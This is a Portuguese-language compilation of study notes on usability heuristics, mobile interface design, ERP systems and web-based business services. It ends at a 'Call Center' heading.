Visibilidade do estado do sistema
O sistema deve informar os utilizadores sobre o que está a acontecer em tempo útil. Quando uma determinada tarefa está a levar mais de 10 segundos a ser executada, o utilizador deve ser informado sobre o estado de andamento. (exemplo: copiar ficheiros, abrir documentos, etc.) Quando se verificar esta situação, o sistema deve emitir avisos ao utilizador acerca das operação que estão a ser levadas a cabo. Caso o utilizador envie um e-mail, este deve ser informado sobre o envio correcto do mesmo. Quando o utilizador preenche um formulário e este contém alguma incongruência, o utilizador deve ser avisado do seu erro junto à sua origem.
 Relação entre o sistema e o mundo real
O sistema deve conter uma linguagem familiar para o utilizador. O uso de termos técnicos pode dar azo à incompreensão e ao mau uso dos recursos. A informação deve ser disponibilizada de uma forma lógica e ordenada. Os termos técnicos devem ser substituídos por termos tão simples como os que comunicaríamos a alguém que não compreende nada sobre o assunto.
Controlo e liberdade do utilizador
Como os utilizadores cometem erros com alguma frequência, estes deve poder anular ou refazer as suas acções. O botão mais usado para o efeito nos sistemas é o que permite voltar à página anterior, no entanto, esta acção resulta na perda de dados. Assim sendo, o sistema deve disponibilizar “meios de recuperação e anulação de acções executadas pelo utilizador.
Consistência e standards
Devem ser seguidas as convenções de nomenclatura de determinadas funções dentro do website. (exemplo: se estamos a referir ao e-mail, devemos usar quando muito correio electrónico e não e-correio).
Prevenção de erros
No sentido de se prevenir a ocorrência de erros, deve existir um cuidado especial com o desenho das funções que impeçam a ocorrência do erro. É melhor ter este cuidado do que disponibilizar uma boa mensagem de erro ao utilizador.
Reconhecimento e não lembrança
As instruções de uso dos objectos, acções ou opções devem estar sempre bem visíveis de modo a ser facilmente alcançados pelos utilizadores. Estes não devem ser obrigados a memorizar as diversasopções para completar as suas tarefas no website. Os menus desdobráveis são um dos elementos que podem causar problemas quanto a esta questão, nomeadamente, quando o utilizador consulta várias das opções do menu para tomar uma decisão. Assim sendo, “as escolhas devem então estar sempre visíveis, pelo menos as principais. Da mesma forma, a ajuda, sempre que necessária, deve estar facilmente identificada.
 Flexibilidade e eficiência de uso
Os aceleradores são meios que visam facilitar as acções dos utilizadores, sejam eles utilizadores experientes ou não. Assim sendo, sempre que se possa, deve-se facilitar as tarefas aos utilizadores, já que desta forma estamos a assegurar um bom serviço.
Estética e design minimalistas
A informação contida no website deve ser relevante e necessária para o utilizador. Se esta não for pertinente acaba por competir com a relevante, retirando-lhe visibilidade.
Deve tentar-se simplificar sempre os processos aos utilizadores. Contudo, a informação que não vai ser acedida ou utilizada mais de duas a três vezes, deve ser organizada em locais próprios como a secção de ajuda.
Ajuda ao reconhecimento, diagnóstico e correcção de erros do utilizador
As mensagens de erro devem ser apresentadas numa linguagem simples, “sem códigos, indicando precisamente o problema encontrado e sugerindo soluções para tal” 
Ajuda e documentação
O ideal do sistema é que este seja utilizado sem que o utilizador tenha necessidade de aceder à documentação de ajuda, contudo, estas devem estar presentes no sistema. Esta informação de apoio deve ser fácil de pesquisar, centrada nas tarefas do utilizador e enumerando os passos que devem ser seguidos sem entrar em explicações mais complexas.
Participação de pedaços de informação
Os monitores não são os melhores meios para a leitura da informação, pois além de cansar mais do que a leitura em papel devido ao meio projectivo, estes tem, também, uma resolução quatro vezes inferiores ao papel, ou seja, a leitura de grandes blocos de texto corrido torna-se muito difícil e cansativo para os utilizadores. Desta forma, o sistema deve proporcionar o scanning da informação. “De forma a vislumbrar rapidamente a informação contida numa página (com mais ou menos sete parágrafos ou blocos de informação), esta deve estar dividida em blocos próximos uns dos outros mas visualmente distintos”.
Escrita em pirâmide invertida
Para além da organização da informação em blocos, também se deve ter em conta o modo em como é estruturada essa informação. Assim sendo, “quando uma página contém muita informação, esta deve encontrar-se estruturada segundo um modelo de pirâmide invertida”. De acordo com este modelo podemos encontrar a informação mais importante no topo da página. Deste modo, a informação é apresentada com o intuito de facilitar a sua pesquisa por utilizadores com necessidades diferentes.
Prioridade à informação importante
O sistema deve apresentar a informação mais pertinente no “primeiro ecrã”. Esta área também pode ser designada por “above the fold” (antes da dobra), ou seja, trata-se da área visível quando se acede a um sistema, sem que se utilize as barras de deslocamento.
Evitar o uso de características gratuitas
Esta heurística remete-nos para a objectividade do sistema, ou seja, deve evitar-se tudo o que afasta o utilizador do seu objectivo final, nomeadamente, todos os elementos meramente decorativos ou as animações sem utilidade prática.
Páginas sondáveis
De modo a facilitar a sondagem da informação apresentada no ecrã, deve usar-se fontes sem serifa, ou seja, tipos de letra sem características decorativas que possam dificultar a leitura no monitor. Por conseguinte, de modo a “facilitar a identificação das hiperligações, estas devem ser claras e contrastantes em relação ao texto circundante. As hiperligações devem ainda ser concisas, não devendo nem ser muito pequenas (devem ter no mínimo 5 letras), nem demasiado extensas (nunca mais de 5 palavras). A referência às hiperligações nunca deve ser directa (por exemplo, “para ver os nossos produtos clique aqui”), devendo ser apenas explícita (por exemplo, “conheça os nossos produtos”). Por outro lado, o texto deve ainda ser dividido em parágrafos breves, seguindo o estilo de escrita em pirâmide invertida e fazendo uso de uma hierarquia de cabeçalhos”.
Baixos tempos de resposta e download
O sistema deve ser concebido de modo a que o seu carregamento seja rápido, independentemente do tipo de acesso à Internet por parte dos utilizadores. Paralelamente a este cuidado, também se deve optimizar os ficheiros para download de modo a torná-los o menos “pesados” possível.
Teste do camião
Steve Krug, no seu livro “Don’t Make me Think”, disponibiliza um teste que pode ser aplicado na avaliação da usabilidade de um sistema, denominando-se por teste do camião.
· 1. Que site é este? (ID do site)
· 2. Em que página estou eu? (nome da página)
· 3. Quais são as principais secções deste site? (secções)
· 4. Quais são as minhas opções a este nível? (navegação local)
· 5. Em que posição relativa estou eu face à estrutura? (indicador: "você está aqui")
· 6. Como posso procurar?
Avaliação da estrutura de navegação: abordagem semiótica
Tendo como objectivo a avaliação da estrutura de navegação (taxonomia) de um sistema, dentro da Interacção Humano-Computador, devem realizar-se testes com utilizadores. Através destes é possível analisar e compreender o comportamento de interacção do utilizador, e propor eventuais alterações de modo a evitar os erros. A definição da nomenclatura dos menus é, assim, uma questão relevante dentro da usabilidade.
De acordo com Charles Pierce o signo é “algo que, sob certo aspecto ou de algum modo, representa alguma coisa para alguém”. Deste modo, podemos considerar o signo como uma unidade alojada no sistema cognitivo do utilizador que, para se formar, passa por um processo de três etapas. Na primeiridade percebemos as qualidades intrínsecas dos objectos, na secundidade dá-se a associação de causa e efeito entre dois fenómenos ou objectos e, por último, na terceiridade, estabelece-se as relações que permitem compreender o fenómeno ou o objecto. Pierce propôs 10 classes de signos recorrendo às três etapas ou categorias para classificar as relações entre os três componentes do signo (objecto, representamen e interpretante).
Somente 3 das classes de signos se aplicam à concepção do signo prontamente anterior à escolha de um link (decisão do clique), dado que a relação entre o objecto (página de destino) e o representamen (nomenclatura do link) desse signo é sempre arbitrária, ou seja, não há semelhança nem relação de causal entre os dois.
Assim sendo, torna-se vital que se estude e avalie a estrutura de navegação de um sistema, pois o mesmo pode ditar uma melhoria qualitativa da sua navegação. Ao definir um link do menu de navegação, espera-se que o mesmo tenha um determinado significado, mesmo não se tendo um controlo absoluto sobre o mesmo. Através da análise da relação entre o representamen (link) e o interpretante (significado) do signo da “decisão do clique” é possível discernir que particulares do representamen estimulam determinadas características do interpretante. Através desta informação é possível alterar o link para o objectivo pretendido e “correctamente interpretado” pelo utilizador
 Dispositivos móveis
Dispositivos móveis como telefones celulares, estão se tornando parte da vida do ser humano.
(HALLNÄS & REDSTRÖM, 2002). Atualmente existe uma variedade de dispositivos móveis
Que oferecem uma gama enorme de serviços aos seus usuários, sendo os mais conhecidos o.
Telefone celular, o PDA e o laptop. Existe também o telefone inteligente (smartphone) que
Combina as funcionalidades dos PDA’s com as funcionalidades dos telefones celulares.
 Desafios para dispositivos móveis
A mobilidade e os crescentes avanços computacionais introduzem vários desafios. A
Habilidade para ser portátil traz várias limitações aos dispositivos móveis. Estas limitações
Incluem baixo poder de processamento,capacidade de bateria, tamanho da tela e quantidade, de memória (BURMAKIN & TUOMINEN, 2002; FORMAN & ZAHORJAN, 1994);
HOLTZBLATT, 2005; KUKKONEN & KURKELA, 2003; SANDOVAL et al., 2004).
a) Bateria: Dispositivos móveis são extremamente dependentes de baterias e,
Conseqüentemente, o tempo de bateria limita o uso de tais dispositivos. Fatores como pesoe características adicionais nos dispositivos móveis como máquina fotográfica efilmadora, que consomem mais energia, devem ser considerados. Se por um lado a bateria deve ser leve e pequena (fatores da portabilidade), por outro, essa miniaturização não pode exigir que o dispositivo móvel seja constantemente ligado à uma fonte de alimentação para recarregar a bateria, perdendo assim o conceito de mobilidade.
b) Segurança de dados: Dispositivos móveis têm um risco maior de sofrerem danos físicos, acesso sem autorização, perda e roubo. Portanto, como um fator necessário em toda aplicação móvel, a segurança em dispositivos móveis também deve ser levada em consideração.
c) Capacidade de armazenamento: Alguns dispositivos móveis não têm unidade de disco rígido para armazenamento o que torna a quantidade de memória muito importante para os eu desempenho. Entretanto, fatores como peso, tamanho e restrições de energia limitam o espaço de armazenamento em dispositivos móveis.
d) Processamento limitado: A Unidade Central de Processamento (CPU) tem uma
importância fundamental no desempenho geral de um dispositivo móvel. O seu poder computacional também está limitado devido aos fatores peso, tamanho e consumo de energia.
e) Tamanho de tela: Quanto maior o tamanho da tela, mais pesado e conseqüentemente menos móvel torna-se o dispositivo. A tela é um dos componentes que mais contribuem para o peso total de um dispositivo móvel, bem como para o consumo de energia.
Grande parte da indústria de tecnologia móvel ainda está com o foco voltado para os dispositivos móveis, ou seja, em inovação e não em padronização (HOSBOND, 2005).
Portanto, ao definirmos os requisitos de um projeto de software para dispositivos móveis, é muito importante levar em consideração a variedade e limitações de hardware e de software encontrados em dispositivos móveis.
 Usabilidade
A norma NBR 9241, de 2002, sobre “Requisitos ergonômicos para trabalho de escritórios com computadores”, em sua parte onze (11), “Orientações sobre usabilidade”, define usabilidade como sendo: “medida na qual um produto pode ser usado por usuários específicos para alcançar objetivos específicos com eficácia, eficiência e satisfação em um contexto específico de uso”, onde (ABNT, 2002, p.3):
a) Eficácia é definida como a acurácia e completude com as quais usuários alcançam objetivos específicos;
b) Eficiência como os recursos gastos em relação à acurácia e brangência com as quais os usuários atingem os objetivos;
c) Satisfação como a ausência do desconforto e atitudes positivas para com o uso de um produto;
d) Contexto de uso sendo usuários, tarefas, equipamentos (hardware, software e materiais), e os ambientes físico e social no qual o produto é usado.
 Projeto centrado no usuário
O projeto centrado no usuário, ou UCD (User-Centred Design), tem como princípio focalizar desde o começo os usuários e as tarefas que desenvolvem num determinado ambiente, medir a utilização do produto observando a interação do usuário com ele e utilizar um processo de design iterativo, onde o design pode ser modificado após as fases de prototipação ou testes.
Projeto centrado no usuário é uma atividade multidisciplinar que incorpora fatores humanos e conhecimento de ergonomia e técnicas com o objetivo de aumento da eficácia e eficiência, melhorando as condições humanas de trabalho, segurança, desempenho e evitar possíveis efeitos contra a saúde do homem (BEVAN, 1999).
 Projeto de interface com o usuário
Na engenharia de software, a interface de usuário é uma das características que vêm sendo priorizadas e com enfoque especial no usuário. Segundo Sommerville (2003), os projetistas não devem impor seus pontos de vista a respeito de uma interface que seja aceitável pelos usuários. Devem tornar o usuário parte do processo de projeto de interface, isto é, adotar a abordagem de projeto centrado no usuário, que depende da prototipação de interface e do envolvimento do usuário com o processo de projeto de interface.
Do ponto de vista da engenharia de software, a prototipação, aliada a uma metodologia de desenvolvimento iterativa, implica produzir uma versão limitada do produto com o intuito de responder a questões específicas sobre a viabilidade ou adequação da interface e sua produção, sendo utilizada ainda, para evitar possíveis desentendimentos com o cliente. Dessa forma, torna-se parte essencial do processo de projeto de interface e uma ferramenta muito importante para definir, juntamente com o usuário final, uma interface que atenda às suas necessidades reais. 
Segundo Preece et al. (2005), os protótipos proporcionam uma perspectiva acerca da experiência do usuário melhor do que a perspectiva que simples descrições poderiam oferecer. Para Sommerville (2003), as descrições textuais e os diagramas não são suficientemente bons para exprimir os requisitos da interface com o usuário devido à sua natureza dinâmica, desse modo, o autor afirma que a prototipação evolucionária, com o envolvimento do usuário final, é a única maneira sensata de desenvolver interfaces gráficas com o usuário, destinadas a sistemas de software.
 Projeto de interface com o usuário de dispositivos móveis
Novas plataformas de computação e comunicação criam a possibilidade para novos modelos de negócios e novas aplicações que têm influência na vida das pessoas. No entanto, novas plataformas também exigem a revisão dos métodos e princípios de projetos da atualidade. Os dispositivos móveis estão abrindo novas oportunidades de negócios para empresas e usuários e novos desafios de projeto de software (HOLTZBLATT, 2005).
Os desafios tecnológicos em desenvolvimento de sistemas móveis são significativos, e, em sua pesquisa, Hosbond & Nielsen (2005) detectam a relevância em design e interface homem computador (IHC). Com o avanço da computação móvel, foram criadas novas formas de interface e exibições de informação (HALLNÄS & REDSTRÖM, 2002).
Nesse contexto, a interface com o usuário de dispositivos móveis é uma área importante e crítica na qual os desenvolvedores precisam levar em consideração ao desenvolver aplicações móveis (LEE et al. 2005; MYERS & BEIGL, 2003).
 Análise da interface
Mandel (1997) apresenta um processo de análise e projeto de interface iterativo com foco em prototipação. O processo apresentado na figura 1 é centrado no usuário e abrange quatro atividades distintas:
Análise e modelagem do usuário, tarefa e ambiente.
Projeto de interface
Implementação (Construção da interface)
Validação da interface
O processo é independente do hardware, software, sistema operacional e ferramentas utilizadas no desenvolvimento e concepção do produto. Deste modo, foi escolhido para dar suporte a esta pesquisa o quadrante referente à Análise do usuário, tarefa e ambiente.
Segundo Pressman (2006), um princípio-chave de todos os modelos de engenharia de software é “entenda melhor o problema antes de tentar projetar uma solução”. Para os projetos de interface com o usuário, entender o problema significa, segundo o modelo proposto por Mandel (1997), entender:
a) As pessoas (usuários finais) que vão interagir com o sistema por meio da interface;
b) As tarefas que os usuários finais devem realizar para fazer seu trabalho;
c) O ambiente em que essas tarefas serão conduzidas.
.
 Analise do usuário
O usuário deve sempre ser o foco central de interesse do projetista ao longo do design da interface. O objetivo da análise de usuários é identificar quem são os usuários e caracteriza-los, isto é, especificar quais funções exercem e quais capacidades possuem (SOUZA et al. 1999).
Outro fator importante é que a imagem mental, onde cada usuário pode ter uma percepção do sistemado software diferente de outros usuários, pode convergir com o modelo de projeto do engenheiro de software, que pode ser muito diferente da imagem mental. Dessa forma, é importante entender os usuários em si, bem como o modo pelo qual vão usar o sistema (PRESSMAN, 2006).
Shneiderman (1998) recomenda que os projetistas de interfaces levem em consideração os diferentes tipos de personalidades, isto é, quanto ao nível de conhecimento ou grau de experiência em informática, classificando em três diferentes estilos de usuários:
Que interagem pela primeira vez ou novatos;
Com nível intermediário de experiência;
Com alto nível de experiência e conhecimento.
Ketola & Röykkee (2001), sugerem que, na computação móvel, o usuário novato é aquele que nunca utilizou um dispositivo móvel ou tem pouca experiência com o mesmo, por exemplo, um usuário novato pode ter realizado ou recebido chamadas em telefones celulares. O usuário casual é aquele que possui um dispositivo móvel, entretanto, utiliza ocasionalmente algumas funções básicas, como exemplo a agenda, calculadora e câmera digital, e seu estilo de vida não esta baseado no uso de dispositivos moveis. Um usuário avançado sempre leva junto de si um dispositivo móvel, fazendo uso frequentemente de diferentes funções.
 Análise de tarefa
O objetivo da análise de tarefas é fornecer ao desenvolvedor a visão dos usuários das tarefas que eles precisam realizar. A modelagem de tarefas consiste em formalizá-las de forma a mapeá-las na interface gráfica (SOUZA et al., 1999). O objetivo da análise de tarefa é responder às seguintes questões (PRESSMAN, 2006):
a) Qual trabalho será realizado pelo usuário em circunstâncias específicas?
b) Quais tarefas e subtarefas serão realizadas quando o usuário faz o trabalho?
c) Quais objetos específicos do domínio do problema serão manipulados pelo usuário à medida que o trabalho é realizado?
d) Qual a seqüência de tarefas de trabalho – o fluxo de trabalho?
e) Qual a hierarquia das tarefas?
Para responder a essas questões, o engenheiro de software pode utilizar um modelo proposto pela Linguagem de Modelagem Unificada (UML), denominado modelo de caso de uso. Os casos de uso indicam todas as funcionalidades possíveis do sistema e não se sobrepõem. Quando utilizado como parte da análise da tarefa, o caso de uso é desenvolvido para mostrar como um usuário final realiza alguma tarefa específica relativa ao trabalho. No contexto de projeto de interface com o usuário, um ator é sempre uma pessoa (PRESSMAN, 2006).
 Análise do ambiente de trabalho
Dada a importância da análise do ambiente em projetos de interface, Mandel (1997), alerta que quando há alguma mudança física no ambiente, ou uma mudança total no conteúdo da informação que o indivíduo está processando, então ele muda imediatamente o foco de sua atenção para a nova informação. Mudanças súbitas ou significativas no sistema perceptivo atraem a atenção. Isto pode ocorrer em virtude de uma variação luminosa, sonora, no movimento, nas cores, novidades ou complexidade da informação.
Segundo Lee et al., (2005), o ambiente do usuário afeta inclusive a escolha de dispositivo móvel, devendo trabalhar sob as condições normais de trabalho do usuário, bem como em condições extremas (como calor, frio, umidade, seca e luz natural e artificial).
Nesse contexto, é importante identificar os aspectos do ambiente físico de trabalho e as características e limitações do dispositivo móvel. Fatores como iluminação e nível de barulho devem ser considerados pelos desenvolvedores, caso contrário, poderão se opor à mobilidade do dispositivo e facilidade de uso da interface.
Conceitos e aplicações ERP
Os ERP, sigla inglesa de Enterprise Resource Planning, são sistemas integrados de informação de tipo back office. Os ERP integram os dados e processos de vários ou mesmo da totalidade dos departamentos da organização num único sistema: esta integração pode ser efectuada ao nível departamental ou funcional (sistemas finanças, marketing, comercial, pessoal, produção, etc.) ou ao nível processual (sistema de tratamento de encomendas, sistema de informação de gestão, sistema de apoio à decisão, etc.). Para isso, este tipo de sistemas inclui um conjunto de aplicações de software muito variado, nomeadamente: software de controlo de produção, gestão de encomendas, gestão de stocks, contabilidade, processamento de salários, controlo de contas correntes, facturação, entre vários outros. 
Entre as principais construtoras de sistemas ERP encontram-se a SAP, a Oracle, a Baan, a People Soft, entre outros.
Definição 
Arquitetura de software que facilita o fluxo de informações entre todas as atividades da empresa como fabricação, logística, finanças e recursos humanos. 
É um sistema amplo de soluções e informações. Um banco de dados único, operando em uma plataforma comum que interage com um conjunto integrado de aplicações, consolidando todas as operações do negócio em um simples ambiente computacional. 
Idealmente, a vantagem de um sistema ERP é a habilidade de necessitar a entrada de informações uma única vez. Por exemplo, um representante de vendas grava um pedido de compra no sistema ERP da empresa. Quando a fábrica começa a processar a ordem, o faturamento e a expedição podem checar o status da ordem de produção e estimar a data de embarque. O estoque pode checar se a ordem pode ser suprida pelo saldo e podem então notificar a produção com uma ordem que apenas complemente a quantidade de itens requisitados. Uma vez expedida, a informação vai direto a relatório de vendas para gerenciamento superior. 
O ERP emprega a tecnologia cliente/servidor. Isto significa que o usuário do sistema (cliente) roda uma aplicação (rotina de um módulo do sistema) que acessa as informações de um sistema de gerenciamento de uma base de dados única (servidor). Isto, ao contrário do antigo sistema de main-frame, reflete o conceito de computação descentralizada.
O sistema opera então com uma base de dados comum, no coração do sistema. O banco de dados interage com todos o aplicativos do sistema, desta forma, elimina-se a redundância e redigitação de dados, o que assegura a integridade das informações obtidas.
Cada sistema de ERP oferece um conjunto de módulos (aplicativos) para aquisição. Estes são os pacotes funcionais, individualizados para cada unidade de negócio dentro da organização (financeiro, engenharia, PCP, administração de materiais, contabilidade, etc.).
Muitos sistemas ERP são comercializados em um pacote com os módulos básicos para a gestão do negócio e então oferecem módulos adicionais que podem ser adquiridos individualmente em função do interesse e estratégia da empresa. Todos esses aplicativos são completamente integrados a fim de propiciar consistência e visibilidade para todas as atividades inerentes ao processo da organização. Entretanto, o sistema ERP requer do usuário o cumprimento dos procedimentos e processos como descrito pelo aplicativo.
Os vendedores de ERP também oferecem aplicativos especializados em gerir processos diferenciados de atividades específicas. Tais módulos atendem a mercados verticais assim como repartições públicas, planos de saúde, financeiras, etc. Por exemplo, à empresa SAP, oferece um módulo específico para o gerenciamento de planos de saúde e convênios, que apóiam processos orientados ao paciente dentro do hospital. A tendência atual mostra as vendas movendo-se mais ainda para áreas específicas assim como gerenciamento do chão-de-fábrica, logística e automação de marketing direto.
O que se espera do ERP
As empresas em geral, possuem alta expectativa em relação a um sistema ERP. Antecipa-se que o sistema impulsionara o desempenho das atividades do sistema da noite para o dia. As companhias querem um pacote de software entrelaçado que cubra todos os aspectos do negócio, o que é uma percepção distorcida do ERP. 
O que o ERP realmente faz
O ERP é a espinha dorsal do empreendimento. Permite que a empresa padronize seu sistema de informações. Dependendo das aplicações, o ERP pode gerenciarum conjunto de atividades que permitam o acompanhamento dos níveis de fabricação em balanceamento com a carteira de pedidos ou previsão de vendas. O resultado é uma organização com um fluxo de dados consistente que flui entre as diferentes interfaces do negócio. Na essência, o ERP propicia a informação correta, para a pessoa correta e no momento correto.
Benefícios do Sistema ERP
Tradicionalmente, as empresas proliferaram-se com a utilização de sistemas incompatíveis, como CAD e sistemas MRP, os quais armazenavam dados vitais, sem mecanismos de busca e acesso a tais dados ou transferência entre sistemas. Sistemas ERP funcionam com a utilização de uma base de dados comum. Assim, decisões que envolvem análise de custos, por exemplo, podem ser calculadas com o rateio de todos os custos na empresa com melhor performance do que com o levantamento parcial em cada unidade. Além de evitar a conciliação manual das informações obtidas entre as interfaces dos diferentes aplicativos. Um sistema integrado oferece a possibilidade melhoria de relatórios, fidelidade de dados, consistência e comparação de dados, devido à utilização de um critério único em todas as atividades da empresa.
Impulsionado pelo processo de re-engenharia do negócio, a implementação do ERP reduz redundância de atividades na organização. Com departamentos utilizando aplicativos integrados e compartilhando a mesma base de dados, não existe a necessidade de repetição de atividades tais como reentrada de dados de um aplicativo para outro. Estatisticamente, em sistemas não integrados, uma informação pode residir em até 6 diferentes lugares [John H. Sheridan].
O sistema ERP identifica o tempo como uma variável crítica de restrição, é a informação que norteia a tecnologia dos negócios e a tecnologia da informação. A redução do tempo de ciclo é obtida via minimização na obtenção e disseminação das informações. Decisões ao longo dos processos da empresa também são possíveis graças ao ERP. Isto resulta em economia de tempo, domínio sobre as operações e também a eliminação daquelas supérfluas, as quais o cliente não paga.
Elaine L. Appleton em seu livro "How to survive ERP" cita o caso das indústrias PAR na cidade de Moline (Illinois) em um ano de implementação de ERP conseguiram reduzir o lead time com o cliente de 6 para 2 semanas, as entregas na data da programação aumentaram de 60% para 95%, os níveis de reserva de materiais e inventários caiu em quase 60% e a tramitação dos documentos de uma ordem de produção no chão de fábrica caiu de semanas para horas. 
Reconhecendo as necessidades das empresas em reduzir o tempo de resposta ao mercado de produtos e serviços, os sistemas ERP são desenvolvidos para responder instantaneamente o surgimento de novas necessidades não previstas. As operações podem facilmente mudar ou expandir sem romper com as atividades em curso. Daí, o tempo para desdobrar e otimizar os processos é severamente reduzido. As empresas estão sempre buscando novos nichos de mercado. Um negócio não envolverá necessariamente, sempre o mesmo produto. Internamente teremos novas necessidades de processos, então devemos estar preparados para tanto. 
Um aspecto importante atualmente é o Bug do ano 2.000. Devido a ser um sistema de última geração, a base de dados relacional dos sistemas ERP suporta ano com 4 dígitos, o que não acontece em antigos sistemas ainda remanescentes dos main-frames. Parece um fato de pouca importância, mas muitas empresas terão surpresas desagradáveis com emissão de títulos, faturas, boletos, etc. na virada do ano. 
Outro detalhe importante é o surgimento de novas moedas, assim como o Euro. Em um sistema ERP, a simples ação de converter a moeda na base de dados atualizará todo o sistema e documentos derivados. O mesmo pode significar uma atividade com semanas de duração em sistemas não integrados.
Muitos sistemas de ERP já possuem dualidade de moeda como ferramenta inerente ao sistema, isto pode gerar uma transição confortável e automática em uma situação de mudança de moeda. Quem administra o CPD de uma grande corporação, sabe contabilizar as horas ou dias de desespero que poderão ser evitados.
O Mercado do ERP
Atualmente, trata-se do produto com maior taxa de crescimento no mercado de software. Em 1.997 os 10 maiores vendedores de ERP faturaram U$5.8 bilhões mais do que em 1.996, quando o faturamento foi de U$4.8 bilhões. Os analistas de mercado admitem um crescimento de 30% em 1.999. Sabe-se que um dos motivos deste grande crescimento foi o fato de muitas empresas preferiram investir em um sistema ERP a preparar seu antigo sistema para o bug do ano 2.000, o que seria um gasto sem melhoria alguma. 
Provavelmente, esta taxa de crescimento cairá após o ano 2.000, mas em virtude da busca de competitividade e sobrevivência das empresas, o mercado continuará muito receptivo ao produto. Acredita-se que quando o mercado atingir está fase não tão fervilhante, alguns vendedores buscarão mais o desenvolvimento de módulos para mercados específicos, além da opção dos módulos gerais.
Como obter sucesso na implantação do ERP
Manter o programa de implantação de acordo com o cronograma é freqüentemente muito difícil. Ninguém afirmaria que este é um processo elementar. mas independentemente do sistema ou do projeto, existem alguns pontos chave para o sucesso. 
 Total comprometimento da alta direção no projeto: Sem comprometimento de recursos (dinheiro, tempo, educação) da administração, o projeto se estenderá por um grande tempo. O gerenciamento do projeto deve ser visível a todos Intercomunicabilidade com o mundo exterior: Certifique-se de que o desenvolvimento do projeto está prontamente disponível a todos os colaboradores da organização. Envolva e mantenha envolvidos os futuros usuários, o consultor não conhece as exceções, o usuário sim.
Gerencie as expectativas: Dependendo do grau de evolução da empresa, é até possível que o sistema ERP não tenha performance superior ao sistema em uso. Lembre-se que outras vantagens do ERP são a habilidade de integrar aplicativos, reduzir tempo de ciclos e reorganizar métodos, não apenas funcionalidade.
Não condicione o projeto a uma data específica: Libere o sistema para uso apenas quando os usuários estiverem aptos. É comum que a implementação absorva mais tempo que o estimado, inclusive pelas surpresas no meio do percurso. Além disso, desfazer uma operação inadequada de um usuário pode até ser uma atividade complexa do que reter o programa para uso por alguns dias.
Não altere o programa fonte: Utilize o programa da maneira que foi concebido. se existirem funções inadequadas, estas devem ser resolvidas pela softerhouse via novo release. O risco de alteração dos códigos fonte é um risco muito alto e pode comprometer a imagem de um consultor.
Um bom sistema não conserta dados errados: Lembre-se que o sistema processa as informações que recebe, não existe mágica. O sistema será tão preciso quanto forem às informações fornecidas. Ninguém pode sonegar informações por julgar que competem apenas a seu departamento. A diretoria deve decidir quem terá acesso a quais dados. Assim, a mentalidade das pessoas deve mudar e surgirá uma nova mentalidade de trabalho onde o "todo" é a soma de todos.
 O futuro do ERP
Atualmente, o grande desafio entre as empresas é a expansão do ERP, integrando-se com o chão-de-fábrica e mercado externo. Estas empresas procuram na verdade estabelecer um elo de ligação entre clientes e fornecedores, obtendo com isso um tempo de resposta menor ao mercado e uma vantagem competitiva nos negócios. Os vendedores de ERP estão mudando o foco que possuíam nas atividades internas da empresa e voltando as características do sistema ao gerenciamento das interfaces do negócio.
Outra mudança que também começa a ser percebida é o interesse crescente no mercado de pequenas empresas. Isto é um processo lógico quando considerado que as maiores organizações já implantaram ou já estão implantados seus sistemas ERP. Também é obvio que o custo do desenvolvimento destes pacotes já estáamortizado, assim é possível que comece a ocorrer uma queda significativa no valor de comercialização do ERP e assim uma maior absorção por empresas de médio e pequeno porte.
Serviços
A presença empresarial na Web está deixando de ser institucional e está passando a agregar serviços. Através destes serviços, as empresas estão conseguindo melhorar o relacionamento com seus clientes, agilizar seus processos internos, integrando suas informações e fazendo mais negócios. Como exemplo, citamos algumas possibilidades de serviços já existentes na Web.
E-commerce
Muitas pessoas associam o termo e-commerce às lojas virtuais, tão comuns na Internet. O e-commerce é uma nova forma de relacionamento entre Business Partners, independente de ser pessoa física ou jurídica. Os serviços mais freqüentes neste segmento são:
Online store
É a iniciativa e-commerce mais comum atualmente. O Business to Consumer é hoje um dos segmentos que mais cresce na Internet. Vender através da rede significa, para alguns segmentos de mercado, manter-se vivo no negócio ou perder para a concorrência. Existem previsões de todos os tamanhos e gostos, mas existe um fator em comum a todas elas, que é o forte crescimento de volume de negócios para os próximos dois anos.
E-banking 
O e-banking é a evolução do home banking, que exigia programas locais nos computadores que o acessavam. Apresenta uma variedade de funções financeiras, operadas diretamente pelo internauta. A presença maciça dos bancos na Internet demonstra que os riscos com segurança dos sistemas abertos estão, no mínimo,controlados. 
 
Electronic purchasing and catalog
Este serviço tem ganhado muitos adeptos e força pela agilidade que agrega e também pela sua economia. Através da Web, empresas estão se relacionando com empresas fazendo o Business to Business (B2B) e integrando suas cadeias produtivas de forma automática. Quando a cadeia produtiva da empresa "A" percebe que vai faltar determinado material, o sistema imediatamente prepara, via Web, uma solicitação de compra, via catálogo eletrônico ou não, para a empresa "B", que toma conhecimento deste pedido já na sua cadeia de produção e faz a programação de entrega. Este evento gera um retorno automático de informação com a previsão de entrega, que passa a ser monitorado pela empresa "A" até seu efetivo recebimento. 
WebEDI 
O EDI é hoje uma das mais eficazes ferramentas de relacionamento eletrônico entre empresas. Porém, os custos envolvidos impedem parte do mercado se relacionar nesta modalidade. De olho neste mercado, algumas empresas desenvolvedoras tradicionais de ferramentas para EDI estão criando Web sites de relacionamento entre empresas, com toda a tecnologia EDI, porém com os custos de comunicação de Web. Isso possibilita as empresas de qualquer tamanho se relacionar através do padrão EDI, com segurança, utilizando os WebEDI sites de relacionamento. 
 
Atendimento a clientes 
A expressão "Sua excelência o cliente" nunca foi tão evidenciada quanto na Internet. Tudo gira em torno do usuário da Web, desde ações que o ajudem a navegar melhor até atos para ganhar sua simpatia. Este segmento tem ganhado muita força, principalmente pela alta disponibilidade da Web, sete dias por semana, vinte e quatro horas por dia. Alguns exemplos de serviços:
FAQ 
O FAQ tem crescido em volume e sofisticação nos Web sites que fazem algum tipo de atendimento. É muito útil para resolver aquelas dúvidas primárias, sem necessitar do atendimento telefônico, que funciona em horário comercial. Qualquer dúvida esclarecida pelo FAQ motiva o cliente a retornar ao site outras vezes. 
News 
Manter o cliente atualizado sobre a empresa e seus produtos e serviços é fundamental para manter a fidelidade. O serviço de notícias é um forte aliado nesta linha, pois permite a renovação periódica de informações no site, mantendo-o vivo. 
 
Acompanhamento, status de pedido, ocorrências 
Este é um serviço que traz informação diretamente do sistema ERP para o cliente. Tem sido um grande fator de aumento de satisfação do cliente poder acompanhar um pedido, uma compra ou o andamento de uma solução para um determinado problema.  
Suporte online
Um problema constante para usuários de tecnologia são as dificuldades de uso e/ou os problemas que surgem. Um serviço que está ganhando força é o suporte online, que começa com um FAQ inteligente e pode até cair num chat com um especialista. Em alguns sites, pode-se abrir chamados online, com protocolo e possibilidade de fazer acompanhamento.
Call Center 
